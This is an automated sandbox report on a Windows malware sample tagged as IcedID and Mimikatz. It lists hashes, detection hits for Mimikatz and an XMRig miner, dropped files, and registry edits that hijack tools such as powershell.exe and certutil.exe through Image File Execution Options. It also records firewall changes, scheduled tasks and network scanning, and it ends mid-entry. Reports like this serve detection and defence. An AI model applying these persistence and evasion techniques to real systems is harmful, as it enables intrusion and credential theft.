Analysis
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max time kernel
160s -
max time network
164s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
07-04-2024 23:43
Behavioral task
behavioral1
Sample
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe
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Size
10.9MB
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MD5
74429f8c9da8be6404d2f4b0b33f4933
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SHA1
a3d68cd45790386de081d284ed9bcbfe6699b059
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SHA256
7505d18e61a360038b338c802a396fe1529a6e5d6242da427e6725a473e25ad9
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SHA512
97fe4adcc81629cf7c365d4d82f22405985755e4841440ef47891fb278cc241ccf86fe917b56b635ab5c45ad7b599f5d619e2b2f64aa14c932c287109c2aed45
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SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
mvekmev.exedescription pid process target process PID 2156 created 284 2156 mvekmev.exe spoolsv.exe -
Contacts a large (22708) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1920-136-0x000000013F550000-0x000000013F63E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 32 IoCs
Processes:
resource yara_rule behavioral1/memory/2812-0-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX \Windows\btzbgkpn\mvekmev.exe UPX behavioral1/memory/880-8-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX \Windows\huibvncjs\Corporate\vfshost.exe UPX behavioral1/memory/1920-135-0x000000013F550000-0x000000013F63E000-memory.dmp UPX behavioral1/memory/1920-136-0x000000013F550000-0x000000013F63E000-memory.dmp UPX \Windows\Temp\huibvncjs\ttyubnbbe.exe UPX behavioral1/memory/2744-142-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX C:\Windows\Temp\yutbwzueh\brzypl.exe UPX behavioral1/memory/1544-147-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/2744-151-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/memory/1772-161-0x000000013F630000-0x000000013F68B000-memory.dmp UPX behavioral1/memory/1772-181-0x000000013F630000-0x000000013F68B000-memory.dmp UPX behavioral1/memory/2220-187-0x000000013F310000-0x000000013F36B000-memory.dmp UPX behavioral1/memory/2220-189-0x000000013F310000-0x000000013F36B000-memory.dmp UPX behavioral1/memory/1544-193-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1700-197-0x000000013F260000-0x000000013F2BB000-memory.dmp UPX behavioral1/memory/1700-199-0x000000013F260000-0x000000013F2BB000-memory.dmp UPX behavioral1/memory/1544-202-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/2980-208-0x000000013FB90000-0x000000013FBEB000-memory.dmp UPX behavioral1/memory/2980-210-0x000000013FB90000-0x000000013FBEB000-memory.dmp UPX behavioral1/memory/2004-217-0x000000013FB00000-0x000000013FB5B000-memory.dmp UPX behavioral1/memory/2004-219-0x000000013FB00000-0x000000013FB5B000-memory.dmp UPX behavioral1/memory/1544-221-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-222-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-224-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-229-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-245-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-246-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-247-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-249-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX behavioral1/memory/1544-251-0x000000013F8D0000-0x000000013F9F0000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
Processes:
resource yara_rule behavioral1/memory/1544-193-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-202-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-221-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-222-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-224-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-229-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-245-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-246-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-247-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-249-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig behavioral1/memory/1544-251-0x000000013F8D0000-0x000000013F9F0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
Processes:
resource yara_rule behavioral1/memory/2812-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz \Windows\btzbgkpn\mvekmev.exe mimikatz behavioral1/memory/880-8-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/memory/2880-134-0x0000000000C00000-0x0000000000CEE000-memory.dmp mimikatz behavioral1/memory/1920-136-0x000000013F550000-0x000000013F63E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
wpcap.exemvekmev.exedescription ioc process File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts mvekmev.exe File opened for modification C:\Windows\system32\drivers\etc\hosts mvekmev.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 3012 netsh.exe 3048 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
mvekmev.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe mvekmev.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe mvekmev.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe mvekmev.exe -
Executes dropped EXE 16 IoCs
Processes:
mvekmev.exemvekmev.exewpcap.exeilnzuuuyp.exevfshost.exettyubnbbe.exebrzypl.exettyubnbbe.exexohudmc.exekkqiuy.exettyubnbbe.exettyubnbbe.exettyubnbbe.exettyubnbbe.exemvekmev.execrknakekb.exepid process 880 mvekmev.exe 2156 mvekmev.exe 856 wpcap.exe 1828 ilnzuuuyp.exe 1920 vfshost.exe 2744 ttyubnbbe.exe 1544 brzypl.exe 1772 ttyubnbbe.exe 2960 xohudmc.exe 2564 kkqiuy.exe 2220 ttyubnbbe.exe 1700 ttyubnbbe.exe 2980 ttyubnbbe.exe 2004 ttyubnbbe.exe 2276 mvekmev.exe 3012 crknakekb.exe -
Loads dropped DLL 23 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exeilnzuuuyp.execmd.exemvekmev.execmd.exepid process 3040 cmd.exe 3040 cmd.exe 1924 cmd.exe 856 wpcap.exe 856 wpcap.exe 856 wpcap.exe 856 wpcap.exe 856 wpcap.exe 1328 cmd.exe 1828 ilnzuuuyp.exe 1828 ilnzuuuyp.exe 2880 cmd.exe 2880 cmd.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2156 mvekmev.exe 2064 cmd.exe -
Processes:
resource yara_rule \Windows\huibvncjs\Corporate\vfshost.exe upx behavioral1/memory/1920-135-0x000000013F550000-0x000000013F63E000-memory.dmp upx behavioral1/memory/1920-136-0x000000013F550000-0x000000013F63E000-memory.dmp upx \Windows\Temp\huibvncjs\ttyubnbbe.exe upx behavioral1/memory/2744-142-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx C:\Windows\Temp\yutbwzueh\brzypl.exe upx behavioral1/memory/1544-147-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/2744-151-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/memory/1772-161-0x000000013F630000-0x000000013F68B000-memory.dmp upx behavioral1/memory/1772-181-0x000000013F630000-0x000000013F68B000-memory.dmp upx behavioral1/memory/2220-187-0x000000013F310000-0x000000013F36B000-memory.dmp upx behavioral1/memory/2220-189-0x000000013F310000-0x000000013F36B000-memory.dmp upx behavioral1/memory/1544-193-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1700-197-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/1700-199-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/1544-202-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/2980-208-0x000000013FB90000-0x000000013FBEB000-memory.dmp upx behavioral1/memory/2980-210-0x000000013FB90000-0x000000013FBEB000-memory.dmp upx behavioral1/memory/2156-212-0x0000000002400000-0x000000000245B000-memory.dmp upx behavioral1/memory/2004-217-0x000000013FB00000-0x000000013FB5B000-memory.dmp upx behavioral1/memory/2004-219-0x000000013FB00000-0x000000013FB5B000-memory.dmp upx behavioral1/memory/1544-221-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-222-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/2156-223-0x0000000001A90000-0x0000000001AEB000-memory.dmp upx behavioral1/memory/1544-224-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-229-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-245-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-246-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-247-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-249-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx behavioral1/memory/1544-251-0x000000013F8D0000-0x000000013F9F0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 18 ifconfig.me 19 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
wpcap.exexohudmc.exemvekmev.exedescription ioc process File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\kkqiuy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 mvekmev.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 mvekmev.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat mvekmev.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A mvekmev.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A mvekmev.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\kkqiuy.exe xohudmc.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exemvekmev.execrknakekb.execmd.exedescription ioc process File created C:\Windows\btzbgkpn\mvekmev.exe 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe File created C:\Windows\btzbgkpn\vimpcsvc.xml mvekmev.exe File opened for modification C:\Windows\btzbgkpn\spoolsrv.xml mvekmev.exe File created C:\Windows\huibvncjs\Corporate\mimidrv.sys mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\ssleay32.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\Shellcode.ini mvekmev.exe File opened for modification C:\Windows\btzbgkpn\mvekmev.exe 2024-04-07_74429f8c9da8be6404d2f4b0b33f4933_hacktools_icedid_mimikatz.exe File opened for modification C:\Windows\huibvncjs\zbkkcrpik\Packet.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\exma-1.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\schoedcl.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\vimpcsvc.xml mvekmev.exe File opened for modification C:\Windows\btzbgkpn\svschost.xml mvekmev.exe File opened for modification C:\Windows\btzbgkpn\vimpcsvc.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\posh-0.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\xdvl-0.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\AppCapture32.dll mvekmev.exe File created C:\Windows\huibvncjs\Corporate\mimilib.dll mvekmev.exe File created C:\Windows\huibvncjs\zbkkcrpik\crknakekb.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\trch-1.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\svschost.xml mvekmev.exe File created C:\Windows\huibvncjs\zbkkcrpik\ilnzuuuyp.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\docmicfg.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\spoolsrv.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\libxml2.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\docmicfg.exe mvekmev.exe File opened for modification C:\Windows\huibvncjs\zbkkcrpik\Result.txt crknakekb.exe File created C:\Windows\huibvncjs\zbkkcrpik\wpcap.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\cnli-1.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\zlib1.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\svschost.xml mvekmev.exe File opened for modification C:\Windows\btzbgkpn\docmicfg.xml mvekmev.exe File created C:\Windows\ime\mvekmev.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\trfo-2.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\svschost.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\schoedcl.exe mvekmev.exe File created C:\Windows\btzbgkpn\spoolsrv.xml mvekmev.exe File created C:\Windows\btzbgkpn\docmicfg.xml mvekmev.exe File created C:\Windows\huibvncjs\zbkkcrpik\wpcap.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\crli-0.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\tibe-2.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\vimpcsvc.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\spoolsrv.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\docmicfg.xml mvekmev.exe File created C:\Windows\huibvncjs\upbdrjv\swrpwe.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\ucl.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\vimpcsvc.xml mvekmev.exe File created C:\Windows\btzbgkpn\svschost.xml mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\AppCapture64.dll mvekmev.exe File created C:\Windows\huibvncjs\zbkkcrpik\scan.bat mvekmev.exe File created C:\Windows\huibvncjs\zbkkcrpik\Packet.dll mvekmev.exe File opened for modification C:\Windows\btzbgkpn\schoedcl.xml mvekmev.exe File opened for modification C:\Windows\huibvncjs\Corporate\log.txt cmd.exe File created C:\Windows\huibvncjs\zbkkcrpik\ip.txt mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\tucl-1.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\spoolsrv.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\schoedcl.xml mvekmev.exe File created C:\Windows\btzbgkpn\schoedcl.xml mvekmev.exe File created C:\Windows\huibvncjs\Corporate\vfshost.exe mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\coli-0.dll mvekmev.exe File created C:\Windows\huibvncjs\UnattendGC\specials\libeay32.dll mvekmev.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 584 sc.exe 1496 sc.exe 2876 sc.exe 2656 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule \Windows\btzbgkpn\mvekmev.exe nsis_installer_2 C:\Windows\huibvncjs\zbkkcrpik\wpcap.exe nsis_installer_1 C:\Windows\huibvncjs\zbkkcrpik\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 3032 schtasks.exe 1600 schtasks.exe 1604 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
mvekmev.exenetsh.exettyubnbbe.exenetsh.exettyubnbbe.exenetsh.exenetsh.exenetsh.exenetsh.exettyubnbbe.exettyubnbbe.exenetsh.exettyubnbbe.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates mvekmev.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\f6-08-de-39-8c-4e\WpadDecision = "0" mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00cc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mvekmev.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\f6-08-de-39-8c-4e\WpadDecisionReason = "1" mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\f6-08-de-39-8c-4e\WpadDecisionTime = c0e3cba34589da01 mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ttyubnbbe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software ttyubnbbe.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6BF55A78-BD04-4982-A907-59B7C0B657CB} mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\f6-08-de-39-8c-4e\WpadDetectedUrl mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs mvekmev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed mvekmev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix mvekmev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local 